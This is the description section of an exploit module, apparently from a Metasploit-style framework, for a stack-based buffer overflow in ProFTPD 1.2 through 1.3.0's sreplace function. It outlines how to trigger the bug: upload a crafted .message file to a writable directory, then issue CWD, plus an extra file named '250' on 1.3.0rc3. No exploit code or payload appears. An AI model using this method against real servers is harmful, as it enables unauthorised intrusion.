15
          This module exploits a stack-based buffer overflow in versions 1.2 through
16
        1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function
17
        within the "src/support.c" file.
18

19
        The off-by-one heap overflow bug in the ProFTPD sreplace function has been
20
        discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit
21
        this off-by-one bug via MKD command, but failed. We did not work on this bug
22
        since then.
23

24
        Actually, there are exists at least two bugs in sreplace function, one is the
25
        mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow
26
        via 'sstrncpy(dst,src,negative argument)'.
27

28
        We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable
29
        version, but the version 1.3.0rc3 introduced some interesting changes, among them:
30

31
        1. another (integer) overflow in sreplace!
32
        2. now it is possible to reach sreplace stack-based buffer overflow bug via
33
          the "pr_display_file" function!
34
        3. stupid '.message' file display bug
35

36
        So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
37
        To reach the bug, you need to upload a specially created .message file to a
38
        writeable directory, then do "CWD <writeable directory>" to trigger the invocation
39
        of sreplace function.
40

41
        Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'
42
        file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.
43

44
        The exploit is a part of VulnDisco Pack since Dec 2005.
